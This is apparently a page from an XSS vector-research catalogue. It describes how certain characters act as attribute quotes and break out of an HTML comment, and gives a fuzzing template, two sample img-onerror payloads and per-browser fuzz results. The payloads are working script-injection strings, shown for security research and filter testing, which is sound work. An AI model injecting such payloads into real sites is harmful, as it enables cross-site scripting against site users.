Characters that act as attribute quotes copy
2
2
2
2This vector shows which characters act like quotes by nullifying a HTML comment.
Created byfreddyb
Created May 31, 2024
Updated May 27, 2025
Detecting browser...
CategoryHTML Parsing
VisibilityPublic
TypeXSS
CharsetUTF-8
Template used:
<div a=$[chr]><!-- $[chr]></div><img src=x:x onerror=log($[i]) -->Sample payloads
<div a="><!-- "></div><img src=x:x onerror=alert(34) --><div a='><!-- '></div><img src=x:x onerror=alert(39) -->Fuzz results
Chrome 145.0.0.0 desktop Windows NT 10.0
Updated17 Feb 2026
Found 2 results
Loading...
Chrome 144.0.0.0 desktop macOS 10.15.7older version
Updated17 Feb 2026
Found 2 results
Loading...
Firefox 148.0 desktop Windows NT 10.0
Updated23 Feb 2026
Found 2 results
Loading...
Firefox 147.0 desktop Linuxolder version
Updated1 Feb 2026
Found 2 results
Loading...
Firefox 128.0 desktop macOS 10.15older version
Updated31 May 2024
Found 2 results
Loading...
Microsoft Edge 145.0.0.0 desktop Windows NT 10.0
Updated18 Feb 2026
Found 2 results
Loading...
Safari 17.4 desktop macOS 10.15.7
Updated31 May 2024
Found 2 results
Loading...